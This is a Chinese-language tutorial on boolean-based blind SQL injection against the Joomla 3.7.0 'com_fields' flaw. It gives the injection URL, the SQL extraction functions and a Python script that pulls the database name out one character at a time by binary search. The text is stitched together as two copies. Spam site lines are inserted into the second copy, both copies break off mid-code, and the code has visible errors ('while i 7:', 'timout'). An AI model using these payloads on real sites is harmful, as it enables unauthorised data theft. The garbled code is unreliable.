浅谈SQL盲注测试方法解析与技巧
本文所有实战盲注例子，均来自Joomla! 3.7.0 – ‘com_fields’ SQL Injection。
由于篇幅有限，本文就不去剖析漏洞原理，直接告知payload插入点，来展现盲注的用法（如有需要可自行寻找各方大佬的研究文章）。
注入点：
http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload]
BooleanBase
二分法
优点：
比遍历穷举快
缺点：
容易被封ip
速度慢
原理解析
常用函数：
left(x,y) // 从x的最左侧开始截取前y位
ascii(substr((sql),1,1))=num // 从sql语句返回的字符串的第一位开始，截取字符串的一长度，将其转换成ascii编码，然后与num比较
ord(mid((sql),1,1))=num // ord()==ascii()
regexp ‘^[a-z]‘ // 在某些情况下，用正则表达式还是很方便的！
最后只需要将手工测试的过程转换成python用代码自动化实现
实战
直接上代码吧
# -*- coding:UTF-8 -*-
import requests
import sys
# 准备工作
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}
response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)
print(response.text)
i = 1
while i 7:
left = 0
right = len(string) - 1
mid = int((left + right) / 2)
print('\n')
print(flag)
print('Testing... ' + str(left) + ' ' + str(right))
# 特殊情况
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timout=2)
if ('安全令牌无效') in response.text:
flag = flag + string[right]
print(flag)
exit()
else:
flag = flag + string[left]
print(flag)
exit()
# 二分法
while 1:
mid = int((left + right) / 2)
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timeout=2)
# 右半部
if ('安全令牌无效') in response.text:
left = mid + 1
print('left:'+str(left))
# 左半部
else:
right = mid
print('right:'+str(right))
if (left == right):
flag = flag + string[left]
break
# 特殊情况
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
本文所有实战盲注例子，均来自Joomla! 3.7.0 – ‘com_fields’ SQL Injection。
由于篇幅有限，本文就不去剖析漏洞原理，直接告知payload插入点，来展现盲注的用法（如有需要可自行寻找各方大佬的研究文章）。
注入点：
http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload]
BooleanBase
二分法
优点：
比遍历穷举快
缺点：
容易被封ip
速度慢
原理解析
常用函数：
left(x,y) // 从x的最左侧开始截取前y位
ascii(substr((sql),1,1))=num // 从sql语句返回的字符串的第一位开始，截取字符串的一长度，将其转换成ascii编码，然后与num比较
ord(mid((sql),1,1))=num // ord()==ascii()
regexp ‘^[a-z]‘ // 在某些情况下，用正则表达式还是很方便的！
最后只需要将手工测试的过程转换成python用代码自动化实现
实战
直接上代码吧
# -*- coding:UTF-8 -*-
import requests
import sys
# 准备工作
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}
response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)
print(response.text)
i = 1
while i 7:
left = 0
right = len(string) - 1
mid = int((left + right) / 2)
print('\n')
print(flag)
print('Testing... ' + str(left) + ' ' + str(right))
# 特殊情况
www.wnhack.com
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timout=2)
if ('安全令牌无效') in response.text:
flag = flag + string[right]
print(flag)
exit()
else:
flag = flag + string[left]
print(flag)
www.wnhack.com
exit()
# 二分法
while 1:
mid = int((left + right) / 2)
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
poc = url + payload
print(poc)
response = requests.get(poc,cookies=cookies,timeout=2)
# 右半部
if ('安全令牌无效') in response.text:
left = mid + 1
print('left:'+str(left))
# 左半部
else:
right = mid
print('right:'+str(right))
if (left == right):
flag = flag + string[left]
break
# 特殊情况
if (right - left) == 1:
payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
本文来自无奈人生安全网